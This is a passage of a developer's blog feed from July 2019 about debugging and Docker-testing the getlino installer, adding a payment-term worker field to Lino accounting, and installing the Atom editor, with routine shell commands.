</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0801.html</guid><pubDate>Thu, 01 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 31, 2019</title><link>https://luc.lino-framework.org/blog/2019/0731.html</link><description>&lt;section id="wednesday-july-31-2019"&gt;
&lt;h1&gt;Wednesday, July 31, 2019&lt;a class="headerlink" href="#wednesday-july-31-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Ivo got active, and today he will come to Vigala so I can help him with getting
started. It is a little Lino developers camp.&lt;/p&gt;
&lt;p&gt;I released XL 19.7.6 and Lino 19.7.5 to PyPI (&lt;a class="reference external" href="https://dev.lino-framework.org/changes/2019.html#lino-changes-2019" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;lino.changes.2019&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;In the afternoon, with Ivo, we worked on the problem that getlino configure
couldn’t write to the config file for monit.&lt;/p&gt;
&lt;p&gt;Ivo did his first suggestion for fixing this: use mode “w+” instead of “w” when
opening it. But that wasn’t the problem.  Actually “w” is what we want (look at
&lt;a class="reference external" href="https://stackoverflow.com/questions/1466000/python-open-built-in-function-difference-between-modes-a-a-w-w-and-r/30566011#30566011"&gt;this&lt;/a&gt;
diagram). We observed that monit had not been installed. But why?&lt;/p&gt;
&lt;p&gt;We found why getlino did not install monit : because I had added the
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--asroot&lt;/span&gt;&lt;/code&gt; option, and we didn’t specify this.  Now getlino calls
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;os.geteuid()&lt;/span&gt;&lt;/code&gt; to detect whether it is running as root.  No more
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--asroot&lt;/span&gt;&lt;/code&gt; option needed.  Ivo knew it, and we saw it &lt;a class="reference external" href="https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg"&gt;here&lt;/a&gt;,
but I had to verify:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo python -c &amp;quot;import os; print(os.geteuid())&amp;quot;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed: when you are user &lt;cite&gt;luc&lt;/cite&gt; and run a command with &lt;cite&gt;sudo&lt;/cite&gt;, then for the time
of the command you “are” actually &lt;cite&gt;root&lt;/cite&gt;.  The process does not even know that
it has been invoked by a user &lt;cite&gt;luc&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The next problem then was that getlino didn’t actually install the
&lt;cite&gt;pip_packages&lt;/cite&gt;.  This was a bug caused by my changes some days ago.&lt;/p&gt;
&lt;p&gt;Note that getlino is now &lt;a class="reference external" href="https://travis-ci.org/lino-framework/getlino/jobs/566006223"&gt;fixed on travis&lt;/a&gt;, but it doesn’t
yet test enough.  Okay, configure and startsite now work without error, but we
should also test whether the server restarts and whether the site responds to
requests.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0731.html</guid><pubDate>Wed, 31 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 30, 2019</title><link>https://luc.lino-framework.org/blog/2019/0730.html</link><description>&lt;section id="tuesday-july-30-2019"&gt;
&lt;h1&gt;Tuesday, July 30, 2019&lt;a class="headerlink" href="#tuesday-july-30-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="mega-is-nagging-me"&gt;
&lt;h2&gt;Mega is nagging me&lt;a class="headerlink" href="#mega-is-nagging-me" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I exceed my quota, I cannot use the desktop client to remove some folder
because the Syncs tab is disabled.&lt;/p&gt;
&lt;img alt="../../_images/0730.png" src="../../_images/0730.png" /&gt;
&lt;p&gt;Fortunately I can use the web interface and delete folders and then clear the
rubbish bin.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="testing-getlino"&gt;
&lt;h2&gt;Testing getlino&lt;a class="headerlink" href="#testing-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am having inspiration about how to write a first docker test case. Playing
around in a virgin docker ubuntu container:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker run -it ubuntu
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The first thing to do is to upgrade and to install basic stuff:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# apt-get update&lt;/span&gt;
&lt;span class="c1"&gt;# apt-get upgrade&lt;/span&gt;
&lt;span class="c1"&gt;# apt-get install git python3-pip&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Then install getlino (ATM I recommend the development snapshot):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# pip3 install -e git+https://github.com/lino-framework/getlino.git#egg=getlino&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;These operations take some time, and we probably want to create a free id on
docker hub and publish them.  But later.  First we continue playing:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# getlino configure --batch&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Oops, it says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Click&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt; &lt;span class="n"&gt;further&lt;/span&gt; &lt;span class="n"&gt;execution&lt;/span&gt; &lt;span class="n"&gt;because&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt;
&lt;span class="n"&gt;configured&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;ASCII&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Consult&lt;/span&gt;
&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;click&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;palletsprojects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;en&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;7.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;mitigation&lt;/span&gt; &lt;span class="n"&gt;steps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So let’s fix it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# locale -a&lt;/span&gt;
&lt;span class="n"&gt;C&lt;/span&gt;
&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;UTF&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;POSIX&lt;/span&gt;

&lt;span class="c1"&gt;# export LC_ALL=C.UTF-8&lt;/span&gt;
&lt;span class="c1"&gt;# export LANG=C.UTF-8&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This time it works!  And it stumbles into the first getlino bug:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# getlino configure --batch&lt;/span&gt;
&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;configuration&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;Wrote&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/bin/getlino&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;load_entry_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;getlino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;console_scripts&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;getlino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/src/getlino/getlino/configure.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;187&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
    &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/etc/monit/conf.d/lino.conf&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MONIT_CONF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/src/getlino/getlino/utils.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;166&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;write_file&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="ne"&gt;FileNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/etc/monit/conf.d/lino.conf&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The bug is probably trivial: it tries to write the monit conf file before monit
is installed. Note that you won’t be able to reproduce above situation since the
bug has been fixed meanwhile (see below).&lt;/p&gt;
&lt;p&gt;Important : I am not going to fix that bug now. I am going to write a test suite
which finds that bug.  IOW I want to see above bug on travis.&lt;/p&gt;
&lt;p&gt;How about creating a free id on docker hub and publish a getlino image? But
wait.  Let’s now look at Hamza’s &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;Dockerfile&lt;/span&gt;&lt;/code&gt; in the getlino repo. Aha,
it is not based on &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ubuntu&lt;/span&gt;&lt;/code&gt; but on &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;python:3.7&lt;/span&gt;&lt;/code&gt;. Seems a good idea. Let’s
try interactively:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker run -it python:3.7
Python 3.7.4 (default, Jul 13 2019, 14:04:11)
[GCC 8.3.0] on linux
Type &amp;quot;help&amp;quot;, &amp;quot;copyright&amp;quot;, &amp;quot;credits&amp;quot; or &amp;quot;license&amp;quot; for more information.
&amp;gt;&amp;gt;&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Oh no, this image starts into a Python shell. And when I hit &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;D&lt;/kbd&gt; the
container terminates. We need a bash.&lt;/p&gt;
&lt;p&gt;But wait, we can say this when starting the container:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker run -it python:3.7 bash
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now I can work:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# pip3 install -e git+https://github.com/lino-framework/getlino.git#egg=getlino&lt;/span&gt;
&lt;span class="c1"&gt;# getlino configure --batch&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Voilà. That’s what we want to automate! I adapted Hamza’s &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;Dockerfile&lt;/span&gt;&lt;/code&gt;.
It was doing some useless things (like creating a workdir and copying some
files), but I see that he found how to create a non-root user.  That’s good.&lt;/p&gt;
&lt;p&gt;After editing the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;Dockerfile&lt;/span&gt;&lt;/code&gt; I must build an image from it before I can
run it.  The following is again on my machine:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go getlino
$ docker build -t getlino .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After getting this to produce my traceback, it’s time to automate it (the
following is in new file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;tests/test_docker_prod.py&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os.path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;join&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;atelier.test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TestCase&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;getlino&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DockerTests&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TestCase&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_01&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;docker&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;-t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;getlino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getlino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__file__&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;..&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_subprocess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So now when I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in my getlino project dir, I get the traceback.
Commit and see whether &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; agrees.
Several more commits to fix a few trivial issues.&lt;/p&gt;
&lt;p&gt;And yess! I get the error on travis:
&lt;a class="reference external" href="https://travis-ci.org/lino-framework/getlino/jobs/565318097"&gt;https://travis-ci.org/lino-framework/getlino/jobs/565318097&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also started moving the getlino docs from the one-page &lt;cite&gt;book/docs/getlino.rst&lt;/cite&gt;
file to an independent doctree, which is published at
&lt;a class="reference external" href="http://getlino.lino-framework.org/"&gt;http://getlino.lino-framework.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next step was to fix the bug : my first guess is in file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino/configure.py&lt;/span&gt;&lt;/code&gt; in commit &lt;cite&gt;bf672b79
&amp;lt;https://github.com/lino-framework/getlino/commit/bf672b79068527843c9de3eb892bcd008eee65dc&amp;gt;`__&lt;/cite&gt;)).&lt;/p&gt;
&lt;p&gt;But that doesn’t seem to be enough. Seems that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;monit&lt;/span&gt;&lt;/code&gt; does not create a
directory &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/conf.d&lt;/span&gt;&lt;/code&gt; in that setup.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="accounting"&gt;
&lt;h2&gt;Accounting&lt;a class="headerlink" href="#accounting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I found a bit of time to continue entering our purchase invoices into our own
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; site.&lt;/p&gt;
&lt;p&gt;Before starting I did a release on our site in order to test the latest changes
(e.g. Partner detail, &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2986"&gt;#2986&lt;/a&gt;, …).  Took me some time to realize why
the partner detail didn’t become active: our &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; was pulling cosi,
but our &lt;a class="reference external" href="https://hosting.lino-framework.org/env/#xfile-env" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;env&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; actually used the PyPI version. (TODO: &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
should verify whether the repository being pulled is the same as the one being
used in the env).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="when-the-worker-pays-the-invoice"&gt;
&lt;h2&gt;When the worker pays the invoice&lt;a class="headerlink" href="#when-the-worker-pays-the-invoice" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3106"&gt;#3106&lt;/a&gt;.
Added a new field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.PaymentTerm.worker&lt;/span&gt;&lt;/code&gt;.
Added a new site setting &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;worker_model&lt;/span&gt;&lt;/code&gt;
Changed the code in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_x.lib.mixins.Payable.get_wanted_movements()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Adapted the demo fixtures.  The new feature is visible only in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi1&lt;/span&gt;&lt;/code&gt;. Wrote documentation and doctest in
&lt;a class="reference external" href="https://dev.lino-framework.org/projects/cosi1.html#internal-clearings" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Internal clearings&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0730.html</guid><pubDate>Tue, 30 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Monday, July 29, 2019</title><link>https://luc.lino-framework.org/blog/2019/0729.html</link><description>&lt;section id="monday-july-29-2019"&gt;
&lt;h1&gt;Monday, July 29, 2019&lt;a class="headerlink" href="#monday-july-29-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="rediscovering-atom-editor"&gt;
&lt;h2&gt;Rediscovering Atom Editor&lt;a class="headerlink" href="#rediscovering-atom-editor" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;PyCharm uses so much power! Yesterday
I had to interrupt my work twice because my notebook was too hot.&lt;/p&gt;
&lt;p&gt;I had another session with Atom.
In Atom I currently have a funny issue. The “Open File” dialog looks like this:&lt;/p&gt;
&lt;img alt="../../_images/0729.png" src="../../_images/0729.png" /&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://discuss.atom.io/t/missing-font-for-dialog-box/48947"&gt;https://discuss.atom.io/t/missing-font-for-dialog-box/48947&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://discuss.atom.io/t/fixed-was-using-old-binaries-v1-20-1-fixed-it-messed-up-font-in-os-modal-windows-fedora-25/47896"&gt;https://discuss.atom.io/t/fixed-was-using-old-binaries-v1-20-1-fixed-it-messed-up-font-in-os-modal-windows-fedora-25/47896&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://flight-manual.atom.io/getting-started/sections/installing-atom/#platform-linux"&gt;https://flight-manual.atom.io/getting-started/sections/installing-atom/#platform-linux&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ wget -qO - https://packagecloud.io/AtomEditor/atom/gpgkey | sudo apt-key add -
$ sudo sh -c &amp;#39;echo &amp;quot;deb [arch=amd64] https://packagecloud.io/AtomEditor/atom/any/ any main&amp;quot; &amp;gt; /etc/apt/sources.list.d/atom.list&amp;#39;
$ sudo apt-get install atom
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Fixed. Yes, obviously I was using an obsolete version.&lt;/p&gt;
&lt;p&gt;Before reasonably switching to Atom I also had to install the following packages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;language-restructuredtext &amp;lt;https://atom.io/packages/language-restructuredtext&amp;gt;`__&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;python-tools &amp;lt;https://atom.io/packages/python-tools&amp;gt;`__&lt;/cite&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Switching to Atom.&lt;/p&gt;
&lt;p&gt;In my &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.bashrc&lt;/span&gt;&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;EDITOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;atom&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
